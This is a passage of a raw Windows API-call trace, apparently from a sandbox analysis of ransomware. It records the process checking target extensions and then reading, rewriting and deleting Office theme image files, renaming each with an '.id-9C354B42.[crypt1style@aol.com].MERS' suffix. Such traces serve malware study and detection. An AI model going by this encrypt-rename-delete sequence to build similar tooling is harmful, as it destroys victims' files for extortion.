Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.813] lstrlenW (lpString=".zip") returned 4 [0049.813] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.813] lstrlenW (lpString=".rar") returned 4 [0049.813] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.813] lstrlenW (lpString=".bz2") returned 4 [0049.813] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.814] lstrlenW (lpString=".7z") returned 3 [0049.814] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.814] lstrlenW (lpString=".dbf") returned 4 [0049.814] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.814] lstrlenW (lpString=".1cd") returned 4 [0049.814] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.814] lstrlenW (lpString=".jpg") returned 4 [0049.814] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.814] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0049.814] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.814] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1423) returned 1 [0049.814] CloseHandle (hObject=0x204) returned 1 [0049.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0049.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.815] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.815] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.885] GetLastError () returned 0x0 [0049.885] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x58f, lpOverlapped=0x0) returned 1 [0049.941] WriteFile (in: hFile=0x218, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x590, lpOverlapped=0x0) returned 1 [0049.943] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.944] WriteFile (in: hFile=0x218, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.944] SetEndOfFile (hFile=0x218) returned 1 [0049.944] CloseHandle (hObject=0x218) returned 1 [0049.944] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.944] SetEndOfFile (hFile=0x204) returned 1 [0049.945] CloseHandle (hObject=0x204) returned 1 [0049.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0049.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.945] lstrlenW (lpString=".doc") returned 4 [0049.945] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.945] lstrlenW (lpString=".docx") returned 5 [0049.945] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.945] lstrlenW (lpString=".pdf") returned 4 [0049.945] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.945] lstrlenW (lpString=".xls") returned 4 [0049.945] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.945] lstrlenW (lpString=".xlsx") returned 5 [0049.945] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.945] lstrlenW (lpString=".ppt") returned 4 [0049.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.946] lstrlenW (lpString=".zip") returned 4 [0049.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.946] lstrlenW (lpString=".rar") returned 4 [0049.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.946] lstrlenW (lpString=".bz2") returned 4 [0049.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.946] lstrlenW (lpString=".7z") returned 3 [0049.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.946] lstrlenW (lpString=".dbf") returned 4 [0049.946] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.946] lstrlenW (lpString=".1cd") returned 4 [0049.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.946] lstrlenW (lpString=".jpg") returned 4 [0049.946] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.946] lstrlenW (lpString=".doc") returned 4 [0049.946] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.946] lstrlenW (lpString=".docx") returned 5 [0049.946] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.946] lstrlenW (lpString=".pdf") returned 4 [0049.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.946] lstrlenW (lpString=".xls") returned 4 [0049.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.946] lstrlenW (lpString=".xlsx") returned 5 [0049.946] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.946] lstrlenW (lpString=".ppt") returned 4 [0049.947] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.947] lstrlenW (lpString=".zip") returned 4 [0049.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.947] lstrlenW (lpString=".rar") returned 4 [0049.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.947] lstrlenW (lpString=".bz2") returned 4 [0049.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.947] lstrlenW (lpString=".7z") returned 3 [0049.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.947] lstrlenW (lpString=".dbf") returned 4 [0049.947] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.947] lstrlenW (lpString=".1cd") returned 4 [0049.947] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0049.947] lstrlenW (lpString=".jpg") returned 4 [0049.947] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.947] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0049.947] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.948] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2604) returned 1 [0049.948] CloseHandle (hObject=0x204) returned 1 [0049.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0049.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.948] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.948] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.095] GetLastError () returned 0x0 [0050.095] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0050.341] WriteFile (in: hFile=0x220, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0050.343] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.343] WriteFile (in: hFile=0x220, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.343] SetEndOfFile (hFile=0x220) returned 1 [0050.343] CloseHandle (hObject=0x220) returned 1 [0050.343] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.343] SetEndOfFile (hFile=0x204) returned 1 [0050.344] CloseHandle (hObject=0x204) returned 1 [0050.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.349] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.349] lstrlenW (lpString=".doc") returned 4 [0050.349] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.349] lstrlenW (lpString=".docx") returned 5 [0050.350] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.350] lstrlenW (lpString=".pdf") returned 4 [0050.350] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.350] lstrlenW (lpString=".xls") returned 4 [0050.350] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.350] lstrlenW (lpString=".xlsx") returned 5 [0050.350] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.350] lstrlenW (lpString=".ppt") returned 4 [0050.350] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.350] lstrlenW (lpString=".zip") returned 4 [0050.350] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.350] lstrlenW (lpString=".rar") returned 4 [0050.350] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.350] lstrlenW (lpString=".bz2") returned 4 [0050.350] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.350] lstrlenW (lpString=".7z") returned 3 [0050.350] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.350] lstrlenW (lpString=".dbf") returned 4 [0050.350] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.350] lstrlenW (lpString=".1cd") returned 4 [0050.350] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.350] lstrlenW (lpString=".jpg") returned 4 [0050.350] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.350] lstrlenW (lpString=".doc") returned 4 [0050.350] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.350] lstrlenW (lpString=".docx") returned 5 [0050.350] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.350] lstrlenW (lpString=".pdf") returned 4 [0050.350] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.350] lstrlenW (lpString=".xls") returned 4 [0050.351] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.351] lstrlenW (lpString=".xlsx") returned 5 [0050.351] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.351] lstrlenW (lpString=".ppt") returned 4 [0050.351] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.351] lstrlenW (lpString=".zip") returned 4 [0050.351] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.351] lstrlenW (lpString=".rar") returned 4 [0050.351] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.351] lstrlenW (lpString=".bz2") returned 4 [0050.351] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.351] lstrlenW (lpString=".7z") returned 3 [0050.351] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.351] lstrlenW (lpString=".dbf") returned 4 [0050.351] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.351] lstrlenW (lpString=".1cd") returned 4 [0050.351] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0050.351] lstrlenW (lpString=".jpg") returned 4 [0050.351] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.351] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0050.351] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0050.509] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=29305) returned 1 [0050.509] CloseHandle (hObject=0x1c4) returned 1 [0050.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0050.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0050.510] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.510] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.510] GetLastError () returned 0x0 [0050.510] ReadFile (in: hFile=0x1c4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x7279, lpOverlapped=0x0) returned 1 [0050.606] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0050.607] ReadFile (in: hFile=0x1c4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.607] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.607] SetEndOfFile (hFile=0x210) returned 1 [0050.608] CloseHandle (hObject=0x210) returned 1 [0050.608] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.608] SetEndOfFile (hFile=0x1c4) returned 1 [0050.609] CloseHandle (hObject=0x1c4) returned 1 [0050.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.609] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0050.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.609] lstrlenW (lpString=".doc") returned 4 [0050.609] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.609] lstrlenW (lpString=".docx") returned 5 [0050.609] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.609] lstrlenW (lpString=".pdf") returned 4 [0050.609] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.609] lstrlenW (lpString=".xls") returned 4 [0050.609] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.609] lstrlenW (lpString=".xlsx") returned 5 [0050.609] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.609] lstrlenW (lpString=".ppt") returned 4 [0050.609] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.609] lstrlenW (lpString=".zip") returned 4 [0050.609] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.610] lstrlenW (lpString=".rar") returned 4 [0050.610] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.610] lstrlenW (lpString=".bz2") returned 4 [0050.610] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.610] lstrlenW (lpString=".7z") returned 3 [0050.610] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.610] lstrlenW (lpString=".dbf") returned 4 [0050.610] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.610] lstrlenW (lpString=".1cd") returned 4 [0050.610] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.610] lstrlenW (lpString=".jpg") returned 4 [0050.610] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.610] lstrlenW (lpString=".doc") returned 4 [0050.610] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.610] lstrlenW (lpString=".docx") returned 5 [0050.610] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.610] lstrlenW (lpString=".pdf") returned 4 [0050.610] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.610] lstrlenW (lpString=".xls") returned 4 [0050.610] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.610] lstrlenW (lpString=".xlsx") returned 5 [0050.610] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.610] lstrlenW (lpString=".ppt") returned 4 [0050.610] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.610] lstrlenW (lpString=".zip") returned 4 [0050.610] 